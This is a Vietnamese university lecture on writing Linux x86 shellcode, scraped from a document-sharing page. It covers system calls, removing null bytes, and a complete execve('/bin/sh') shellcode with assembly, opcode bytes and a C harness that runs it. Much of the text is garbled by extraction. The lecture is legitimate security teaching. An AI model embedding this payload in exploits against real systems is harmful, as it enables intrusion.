Bài giảng Shellco

Khái niệm shellcode

 Nghĩa phổ biến trước đây: một chương trình khi thực

thi sẽ cung cấp một shell

 Ví dụ: '/bin/sh' cho Unix/Linux shell, hay

command.com shell trên DOS và Microsoft Windows

 Nghĩa rộng hơn: bất kỳ byte code nào được chèn vào

một quá trình khai thác lỗ hổng để hoàn thành một tác

vụ mong muốn. Có nghĩa là một payload

 Shellcode được viết dưới dạng ngôn ngữ

assembly, trích xuất các opcode dưới dạng hexa

và dùng như là các biến string trong chương trình

 Các thư viện chuẩn không hỗ trợ shellcode, phải

dùng kernel system call của hệ điều hành một

cách trực tiếp

Bài giảng Shellco trang 1

Trang 1

Bài giảng Shellco trang 2

Trang 2

Bài giảng Shellco trang 3

Trang 3

Bài giảng Shellco trang 4

Trang 4

Bài giảng Shellco trang 5

Trang 5

Bài giảng Shellco trang 6

Trang 6

Bài giảng Shellco trang 7

Trang 7

Bài giảng Shellco trang 8

Trang 8

Bài giảng Shellco trang 9

Trang 9

Bài giảng Shellco trang 10

Trang 10

Tải về để xem bản đầy đủ

pdf 35 trang duykhanh 8500
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng Shellco", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

Tóm tắt nội dung tài liệu: Bài giảng Shellco

Bài giảng Shellco
 Shellcode 
  N  NG S N
 PTITHCM
1
 Khái ni m shellcode
  Ngh a ph  bi n tr  c ây: mt ch ơ ng trình khi th c
 thi s cung cp mt shell
  Ví d: '/bin/sh' cho Unix/Linux shell, hay
 command.com shell trên DOS và Microsoft Windows
  Ngh a rng hơn: bt k byte code nào  c chèn vào
 mt quá trình khai thác l hng  hoàn thành mt tác
 v mong mu n. Có ngh a là mt payload
2
 Khái ni m shellcode (2/2)
  Shellcode  c vi t d i dng ngôn ng 
 assembly, trích xu t các opcode d i dng hexa
 và dùng nh  là các bi n string trong ch ơ ng trình
  Các th  vi n chu n không h tr  shellcode, ph i
 dùng kernel system call ca h iu hành mt
 cách tr c ti p
3
 System call
  Là mã ch ơ ng trình ch y trong ng  cnh ca user
 (user space) yêu cu kernel th c hi n các công vi c
 khác nhau nh  m,  c file, to mt phân vùng b
 nh 
  Các system call th  ng  c th c hi n theo th  tc
 nh t  nh nh  np mt giá tr  vào thanh ghi và gi mt
 ng t tơ ng ng (ví d syscall exit  ví d 1)
4
 Windows shellcode và Linux shellcode
  Linux cho phép giao ti p tr c ti p vi kernel qua int 0x80
  Windows không cho phép giao ti p tr c ti p vi kernel,
 h th ng ph i giao ti p bng cách np  a ch  ca
 hàm_c n  c th c thi t DLL.
   a ch  ca hàm  c tìm th y trong windows s thay  i
 tùy theo phiên bn ca OS trong khi các 0x80 syscall
 number là không  i
5
 Vi t shellcode
  Hơi khác vi assembly code thông th  ng, ó là kh  nng
 portability.
  Vì không th  bi t  a ch  nên không th  lp trình cng mt  a
 ch  trong shellcode.
  Ph i dùng th  thu t  to shellcode mà không ph i tham
 chi u các tham s trong b nh  theo cách thông th  ng
  Ch  bng cách cung cp  a ch  chính xác trên memory page
 và ch  có th  làm vào th i im biên dch
  Cách d nh t là dùng chu i trong shellcode nh  ví d ơ n
6 gi n sau
 section .data
 #ch  dùng thanh ghi  ây...
 section .text
 global _start
 jmp dummy
 _start:
 #pop register, da vào ó bi t  c v  trí chu i
 #T i ây là các assembly instructions s  dùng chu i
 dummy:
 call _start
  t chu i ch  này
7
 Linux Shellcoding
 /*shellcodetest.c*/
 char code[] = “ chu i mã l nh !";
 int main(int argc, char **argv)
 {
 int (*func)();
 func = (int (*)()) code;
 (int)(*func)();
 }
8
 Vi t Shellcode cho exit() syscall
  Vi t system call trong ngôn ng  C
  compiled và disassembled, th y nh ng gì các 
 ch  th  th c s  làm
 main()
 {
 exit(0);
 }
 gcc –static –o exit exit.c 
 gdb exit
9
 exit syscall
  asm code to call exit (ví d  1)
 ;exit.asm
 section .text
 global _start
 _start:
 mov ebx,0
 mov eax,1
 int 0x80
10
 Dch và trích xu t mã máy
 $ nasm -f elf exit.asm
 $ ld -o exiter exit.o
 $ objdump -d exiter
 exit_shellcode: file format elf32-i386
 Disassembly of section .text:
 08048080 :
 8048080: bb 00 00 00 00 mov $0x0,%ebx
 8048085: b8 01 00 00 00 mov $0x1,%eax
 804808a: cd 80 int $0x80
 Thay vào shellcodetest.c
 char code[] = "\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80";
11
 Ví d  2
 ;hello.asm
 section .text
 global _start
 _start:
 jmp short ender
 starter:
 xor eax, eax ;clean up the registers
 xor ebx, ebx
 xor edx, edx
 xor ecx, ecx
 mov al, 4 ;syscall write
 mov bl, 1 ;stdout is 1
 pop ecx ;get the address of the string from the stack
 mov dl, 5 ;length of the string
 int 0x80
 xor eax, eax
 mov al, 1 ;exit the shellcode
 xor ebx,ebx
 int 0x80
 ender:
 call starter ;put the address of the string on the stack
12 db 'hello'
 08048080 :
 8048080: eb 19 jmp 804809b 
 08048082 :
$ nasm -f elf hello.asm 8048082: 31 c0 xor %eax,%eax
 8048084: 31 db xor %ebx,%ebx
$ ld -o hello hello.o 8048086: 31 d2 xor %edx,%edx
 8048088: 31 c9 xor %ecx,%ecx
$ objdump -d hello 804808a: b0 04 mov $0x4,%al
 804808c: b3 01 mov $0x1,%bl
 804808e: 59 pop %ecx
 804808f: b2 05 mov $0x5,%dl
 8048091: cd 80 int $0x80
 8048093: 31 c0 xor %eax,%eax
 8048095: b0 01 mov $0x1,%al
 8048097: 31 db xor %ebx,%ebx
 8048099: cd 80 int $0x80
 0804809b :
 804809b: e8 e2 ff ff ff call 8048082 
 80480a0: 68 65 6c 6c 6f push $0x6f6c6c65
 13
char code[] = 
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"
\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
 14
 Injectable Shellcode
  Nơi th  ng  t shellcode: buffer
  Buffer là m ng ký t string
  Chu i mã l nh th  ng ch a ký t  null
  Ví d : 
 \xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
  Null k t thúc chu i, chèn shellcode và buffer không 
 thành công
  Cn có cách  i null thành non-null opcode
15
 mov ebx,0 \xbb\x00\x00\x00\x00 
 mov eax,1 \xb8\x01\x00\x00\x00 
 int 0x80 \xcd\x80 
  Hai ch  th   u làm phát sinh null
  Mov ebx,0 s to ra null, thay bng xor ebx,ebx s tránh xu t hi n
 null trong opcode
  Ch  th  th  hai dùng eax có 4 byte dn  n khi np 1 vào thì ph n
 còn li ch a null,  i thành mov al,1
 xor ebx,ebx 
 mov al,1
 int 0x80
16
 Vi t l i mã h p ng 
 ;exit.asm 
 section .text 
 global _start 
 _start: 
 xor eax, eax ; 
 mov al, 1 ;exit is syscall 
 1 
 xor ebx,ebx ;zero out ebx 
 int 0x80 
17
 Dch và trích xu t mã máy
 $ nasm -f elf exit.asm 
 $ ld -o exiter exit.o 
 $ objdump -d exiter 
 Disassembly of section .text: 
 08048080 : 
 8048080: b0 01 mov $0x1,%al 
 8048082: 31 db xor %ebx,%ebx 
 8048084: cd 80 int $0x80 
 Thay vào shellcodetest.c 
 char code[] = "\xb0\x01\x31\xdb\xcd\x80"; 
18
 Ly m t shell
 Nm b c:
 1. Vi t shellcode ly shell nh  mong mu n bng ngôn ng  cp cao.
 2. Compile và disassemble ch ơ ng trình shellcode (ngôn ng  cp
 cao).
 3. Phân tích cách làm vi c ca ch ơ ng trình  mc assembly.
 4. Gi n l c  to mt ch ơ ng trình d i dng aseembly nh  gn và
 có tính nng injectable nh  ã nói trên.
 5. Trích mã máy (instruction code) và to shellcode.
19
 Step 1
  Cách d nh t  to mt shell là dùng công c to mt ti n
 trình mi
  Có 2 cách to:
  Thông qua mt ti n trình ã có và thay th  program ã ch y
  Copy mt ti n trình có sn và ch y program mi ti v trí ca
 nó
  Kernel s h tr , ch  cn báo cho kernel bi t cn làm gì
 bng cách dùng fork() và execve()
20
 Ch ơ ng trình ly shell ca linux
 #include 
 int main()
 {
 char *happy[2];
 happy[0] = “/bin/sh”;
 happy[1] = NULL;
 execve (happy[0], happy, NULL);
 }
21
 Step 2
   ch ơ ng trình C này  c th c thi khi np vào vùng nh p sơ h
 (vulnerable input area) ca máy tính, code ph i  c dch sang ch 
 th  mã hexa
  Dch ch ơ ng trình dùng static (tránh dynamic link  gi  execve)
  Disassembly ch ơ ng trình dùng objdump
 gcc -static –o spawnshell spawnshell.c
22
 Step 3
  Phân tích ch ơ ng trình  d ng h p ng  (sau 
 disassembly)
23
 Step 4
  ơ n gi n ch ơ ng trình d  i d ng assembly
  Thu g n, dùng ít b  nh 
  X lý ký t  null
24
 Step 5
  Compile và disassembly  l y các mã máy
25
 Dạng assembly ch ưa gi ản l ượ c
 080481d0 :
 80481d0: 55 push %ebp
 80481d1: 89 e5 mov %esp,%ebp
 80481d3: 83 ec 08 sub $0x8,%esp
 80481d6: 83 e4 f0 and $0xfffffff0,%esp
 80481d9: b8 00 00 00 00 mov $0x0,%eax
 80481de: 29 c4 sub %eax,%esp
 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp)
 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
 80481ee: 83 ec 04 sub $0x4,%esp
 80481f1: 6a 00 push $0x0
 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax
 80481f6: 50 push %eax
 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp)
 80481fa: e8 f1 57 00 00 call 804d9f0 
 80481ff: 83 c4 10 add $0x10,%esp
 8048202: c9 leave 
 8048203: c3 ret 
 0804d9f0 :
 804d9f0: 55 push %ebp
 804d9f1: b8 00 00 00 00 mov $0x0,%eax
 804d9f6: 89 e5 mov %esp,%ebp
26
 804d9f8: 85 c0 test %eax,%eax
 804d9fa: 57 push %edi
 804d9fb: 53 push %ebx
 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi
 804d9ff: 74 05 je 804da06 
 804da01: e8 fa 25 fb f7 call 0 
 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx
 804da09: 8b 55 10 mov 0x10(%ebp),%edx
 804da0c: 53 push %ebx
 804da0d: 89 fb mov %edi,%ebx
 804da0f: b8 0b 00 00 00 mov $0xb,%eax
 804da14: cd 80 int $0x80
 804da16: 5b pop %ebx
 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax
 804da1c: 89 c3 mov %eax,%ebx
 804da1e: 77 06 ja 804da26 
 804da20: 89 d8 mov %ebx,%eax
 804da22: 5b pop %ebx
 804da23: 5f pop %edi
 804da24: c9 leave 
 804da25: c3 ret 
 804da26: f7 db neg %ebx
 804da28: e8 cf ab ff ff call 80485fc 
 804da2d: 89 18 mov %ebx,(%eax)
 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx
 804da34: eb ea jmp 804da20 
27 804da36: 90 nop 
 804da37: 90 nop
 Execve() syscall
  Execve  c chuy n thành danh sách r t dài các ch  th  assembly 
 trong shellcode
 int execve(const char *filename, char *const argv[], char *const envp[]);
  Th c thi ch ơ ng trình  c tr  b i filename. Filename ph i b n 
 th c thi nh  phân hay scrip v i m t dòng d ng “#! Interpreter [arg]”
  Argv là m t m ng c a chu i  c chuy n cho ch ơ ng trình m i. 
  Envp là m t m ng c a chu i,  d ng key=value,  c chuy n nh  
 bi n môi tr  ng cho ch ơ ng trình m i. 
  C argv và envp  u ph i k t thúc b ng con tr  null
28
 Man page ca execve
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
 execve - execute program
SYNOPSIS
 #include 
 int execve(const char *filename, char *const argv [], char *const envp[]);
DESCRIPTION
 execve() executes the program pointed to by filename. filename must be either a binary
 executable, or a script starting with a line of the form "#! interpreter [arg]". In
 the latter case, the interpreter must be a valid pathname for an executable which is
 not itself a script, which will be invoked as interpreter [arg] filename.
 argv is an array of argument strings passed to the new program. envp is an array of
 strings, conventionally of the form key=value, which are passed as environment to the
 new program. Both, argv and envp must be terminated by a null pointer. The argument
 vector and environment can be accessed by the called program's main function, when it
 is defined as int main(int argc, char *argv[], char *envp[]).
[...]
29
Phân tích thu g n
section .text
 global _start
_start:
 jmp short GotoCall
shellcode:
 pop esi ; lu  a ch  c a"/bin/sh" trong ESI
 xor eax, eax ; bi n ni dung ca EAX thành zero
 mov byte [esi + 7], al ; ghi null byte vào cu i chu i
 mov dword [esi + 8], esi ; [ESI+8], v trí nh  ngay sau chu i
 mov dword [esi + 12], eax ; ghi null pointer vào v trí [ESI+12]
 mov al, 0xb ; ghi sysnum (11) vào EAX
 lea ebx, [esi] ; chép  a ch  chu i vào EBX
 lea ecx, [esi + 8] ; chép tham s th  2 ca execve
 lea edx, [esi + 12] ; chép tham s th  3 ca execve (NULL pointer)
 int 0x80 ; gi ng t
GotoCall:
 call shellcode
 db ‘/bin/shJAAAAKKKK’
 30
 Compile và Disassemble
 execve2: file format elf32-i386
 Disassembly of section .text:
 00000000 :
 0: eb 18 jmp 1a 
 00000002 :
 2: 5e pop %esi
 3: 31 c0 xor %eax,%eax
 5: 88 46 07 mov %al,0x7(%esi)
[son@localhost]$ nasm -f elf 8: 89 76 08 mov %esi,0x8(%esi)
execve2.asm b: 89 46 0c mov %eax,0xc(%esi)
[son@localhost]$ld -o execve2 e: b0 0b mov $0xb,%al
execve2.o 10: 8d 1e lea (%esi),%ebx
[son@localhost]$objdump -d execve2 12: 8d 4e 08 lea 0x8(%esi),%ecx
 15: 8d 56 0c lea 0xc(%esi),%edx
 18: cd 80 int $0x80
 0000001a :
 1a: e8 e3 ff ff ff call 2 
 1f: 2f das 
 20: 62 69 6e bound %ebp,0x6e(%ecx)
 23: 2f das 
 31 24: 73 68 jae 8e 
 80480a8: 4a dec %edx
 80480a9: 41 inc %ecx
 80480aa: 41 inc %ecx
 80480ab: 41 inc %ecx
 80480ac: 41 inc %ecx
 80480ad: 4b dec %ebx
 80480ae: 4b dec %ebx
 80480af: 4b dec %ebx
 80480b0: 4b dec %ebx
32
 Ly opcode
char code[] = \xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
 "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41”
 “\x41\x41\x41\x4b\x4b\x4b\x4b”; 
int main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) code;
 (int)(*func)();
}
33
 Biên dch và th c thi
 [son@.....]$ gcc get_shell.c –o get_shell
 [son@.....]$ ./get_shell
 $ Ly  c shell
34
 HẾT
35

File đính kèm:

  • pdfbai_giang_shellco.pdf